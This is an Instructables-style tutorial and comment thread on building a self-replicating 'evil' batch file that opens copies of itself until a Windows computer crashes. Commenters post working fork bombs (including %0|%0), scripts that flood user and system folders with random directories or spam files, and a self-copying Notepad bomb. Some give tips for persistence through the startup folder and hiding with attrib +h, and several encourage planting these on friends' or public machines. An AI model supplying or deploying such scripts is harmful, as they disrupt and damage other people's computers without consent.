Have you ever wanted an evil batch file that opens itself again and again and again, doubling itself each time?  Well here is how you do it.

Step 1: Write the Batch

Open notepad and write this code.

What it means (line by line):
1 Don't show the folder the batch file is currently in. (it makes it look ugly)
2 Set a matrix look
3 The words after echo are what show up on the screen (you can change this message)
4 puts you in the folder you started the batch file in (I'll get to that)
5 a marker (I'll get to that too) (you can change this letter to any word, letter, or number; but leave the colon)
6 sets what appears at the top of the screen (by close and minimize)
7 puts a small delay so it does not crash the computer instantly (change the number to set the time, I have a  two second delay)
8 Opens a copy of this file in a new window (name it what you save it) (that's we need line 4)
9 goes to the marker to repeat the process. (its like a page that tells you to go back to the bookmark that leads to that page. Like a loop!)

Step 2: Save the File

Press Ctrl + S and type America.bat (name it what you typed earlier) in the text field and set filetype to all. Save it wherever, on a flash drive for school and coffee shops, or online for published and profitable anarchy. You should be good to go!

Step 3: Run.bat

Open your,  batch file and if you did it right you'll get 1 at first, then 2, then 4, then 8, 16, 32, 64, 128, 256, 512, 1024, etc...
Chaos rains!!!
<p>any way to make a bat file that generates randomly named files on the desktop using a variant of this code?</p>
<p>@echo off<br>:loop<br>md %random%<br>md c:\%random%<br>md %systemroot%\%random<br>md %userprofile%\%random<br>md %userprofile%\Documents\%random%<br>md %userprofile%\Music\%random%<br>md %userprofile%\Desktop\%random%<br>md %userprofile%\Videos\%random%<br>md %userprofile%\Pictures\%random%<br>goto loop</p>
<p>do you know how to end this exact batch? it was run and now the pc is super slow and has like 30k files on it...</p>
Pressing the pause break key on your keyboard stops the script. This method is also cross platform and works in Linux and Mac as well
<p>Put In Somewhere</p><p> md %random% </p><p>It will create a bunch of random folders </p><p>Your Welcome @<a href="https://www.instructables.com/member/Spotlightsrule" rel="nofollow">Spotlightsrule</a></p>
<p>Actually, when you put this code in batch:<br>echo (text) &gt; text.bat It *should* create a .bat file names text.bat with that text in it.<br>I dont know if this would work with %random%.bat or something like that. if it does, tell me. lol</p>
<p>Do this:</p><p>&gt;%RANDOM% echo TEXT OUTPUT</p>
<p>What if I want this program to autorun? Like this would start up automaticaly once the PC is powered on? Still a newbie soooo please help???</p>
<p>Best Thing to do is put it in startup, but yeah use another programming language It will help in making it easier or even making it for you. </p>
<p>you dont... you learn a real programming language, not dos</p>
<p>It is possible to run the program when the computer starts by copying the file to the startup folder on windows. This would effectively launch whenever the user logs on. To make it stealthy, you could add &quot;attrib +h filename&quot; to hide it from view in file explorer.</p>
<p>did I do that correctly?</p>
<p>This is basic batch</p>
<p>Pun intended?</p>
<p>Yes, but we are stupid. C:</p>
<p>Err lads this is a bit overcomplicated XD</p><p>You could just do:</p><p>:start</p><p>start</p><p>goto start</p>
<p>warr about dis</p><p>%0|%0</p>
<p>Could you make one that copies everything on your computer<br>say 100 times?</p>
<p>Also this is way more annoying because it takes hours (trust me from personal experience) to clean up afterwards:</p><p>@echo off</p><p>cd PUT IMPORTANT FOLDER AREA LOCATION HERE</p><p>set /a number=0</p><p>:loop</p><p>md %number%</p><p>set /a number=%number%+1</p><p>goto loop</p><p>P.S. The beauty is it doesn't look like it is doing any damage so you could even tell your [ex]friends that it is just a cool matrix effect, then when they go to their &quot;important folder location&quot; they will find 40,000 odd folders hanging around XD Trust me the reactions are hilarious.</p><p>P.P.S. One final thing ... if you need to quickly end the file before too much annoyance is called just &quot;Ctrl+C&quot; in the batch window. Have fun ;)</p>
<p>how could i make this so it only opens its self lets say 32 times?</p>
<p>If you wanted to make it open itself 32 times, then it's simple, but more time consuming.</p><p>What you'd need to do is get the :a bit of the code, then simply copy the start america.bat below it 32 times.</p>
its nice
<p>set N=%0 &gt;NUL</p><p>@echo off &gt;&gt;%N% &gt;NUL</p><p>:0 &gt;&gt;%N% &gt;NUL</p><p>set N=%0 &gt;&gt;%N% &gt;NUL</p><p>echo:%random% &gt;&gt;%N% &gt;NUL</p><p>:1 &gt;&gt;%N% &gt;NUL</p><p>set N=%0 &gt;&gt;%N% &gt;NUL</p><p>set R=%random%.bat &gt;&gt;%N% &gt;NUL</p><p>if exist %R% (goto 1) &gt;&gt;%N% &gt;NUL</p><p>copy %N% %R% /B /V /Y /Z &gt;&gt;%N% &gt;NUL</p><p>start &quot;%N%&quot; /MIN /LOW /B /I /SEPARATE %R% &gt;&gt;%N% &gt;NUL</p><p>goto 0 &gt;&gt;%N% &gt;NUL</p><p>::REM BLANK LINE IS MANDATORY - END OF LabJackIt.bat</p>
<p>use this: (name is anything you want, for this example ill name it lol.bat)</p><p>@echo off</p><p>:lol</p><p>start lol.bat</p><p>goto lol</p>
<p>will this work using a textedit file on a mac?</p><p>and do you just open the file to run it? how does the replication begin?</p>
My liitle evil virus that will crash a computer in seconds! <br>It first replicates itself, then runs the replication. then it opens notepad and creates a spam file 100 times and then exits. The sheer number of notepads opening will crashg the computer and when they restart their computer will be full of junk files! <br>@echo off <br>Title Mwahahahahah <br>:top <br>set FILENAME=%random%%random% <br>copy /Y &quot;%~f0&quot; &quot;%cd%\TROLL%FILENAME%.bat&quot; <br>start /MIN &quot;%cd%\TROLL%FILENAME%.bat&quot; <br>set counter=100 <br>:lol <br>start notepad.exe <br>echo SPAM &gt;&gt; %cd%\%random%%random%.txt <br>set /a counter=%counter%-1 <br>if %counter% LEQ 0 goto :end <br>goto :lol <br>pause <br>:end <br>exit
<p>Would doing this </p><p>@echo off</p><p>Title Death by Notepad</p><p>:top</p><p>set FILENAME=%random%%random%</p><p>copy /Y&quot;%~f0&quot;</p><p>&quot;%cd%\TROLL%FILENAME%.bat</p><p>start /MIN&quot;%cd%\TROLL%FILENAME%.bat&quot;</p><p>set counter=10000</p><p>:lol</p><p>start notepad.exe</p><p>echo SPAM&gt;&gt;%cd%\%random%%random%.txt</p><p>set /a counter=%counter%-1</p><p>if %counter% LEQ 0 goto :end</p><p>title Win%random%a</p><p>timeout /t 2 /nobreak &gt;nul</p><p>start Death by Notepad.bat</p><p>goto:lol</p><p>pause</p><p>:end</p><p>exit</p><p>cause the program to run over and over and over again, each time creating 10,000 notepad files? I'm sort of new to batch files so I think this will work but I am not willing to try this on a computer. (for obvious reasons)</p>
<p>A much simpler one would be</p><p>@ echo off<br>: bad<br>start <a href="http://google.com" rel="nofollow">http://google.com</a><br>start Notepad.exe<br>start cmd.exe<br>start WordPad.exe<br>goto bad</p><p>this would open 4 programs over and over again crashing the pc much quicker and making it harder to stop</p>
I'm no expert either. I wrote this because I was messing around with batch at the time. And I never tested mine either. Same reason. I reckon mine has a bunch of errors in it. But it's the concept. Yours looks more sophisticated so you probably know more than me. Sorry I can't help more than that.
<p>Yours works I tried it</p>
<p>I think yours would work. So long as there are no syntax errors hiding anywhere it looks okay</p>
<p>Works great! Just make sure to adjust set counter if your going to test it!</p>
Awesome, I never dared to test it. Hope you can have some fun with it
<p>Can you show me how to make this work?</p>
Lololol! That would be hard to get rid of!
It's like the computer has batch cancer!
I have a nooby question: what is the last character in line 7?
Well in maths it is the greater than symbol in this case its pretty much saying &quot;to the&quot; so its saying timeout/t 2/notebrek &gt; (to the) null
My one is a little more fun and can only be shutdown by forcing shutdown by holding the devices power button down or by pulling the plug out of the wall here it is: <br> <br>@echo off <br>:a <br>Start iexplore cristgaming.com/pirate.swf <br>Goto :a <br> <br>There it is simple and save file as pirate.bat <br>Enjoy :)
Make it make a folder <br>@echo off <br>:loop <br>echo Hi &gt;&gt; %random%.txt <br>goto loop
File* <br>
Very nice batch file!!! <br>YOU have a lot of knowledge
haha it would be funnier if you put this in the start up folder so every time they restart their computer it starts all over again
keep up the good work... infinite cmd beeping internal speaker here i come...prob have no clue what im saying(sighs)
This is a very nice and well done instructable. Keep working on creating batch files and, can I make a suggestion, try to use your skills for good instead of evil.
that's devious...
this instructable is getting the WHOLE SITE flagged by google chrome as &quot;known malware distributer!!! <br> <br>Which is strange, given that there is no actual download link?
That is being worked on right now. There is no malware.
Do you know why that happened?
I have not heard a cause yet, just that they are hoping to have it fixed soon.

About This Instructable




More by pokerduke123:Evil Self Duplicating Batch File 
Add instructable to: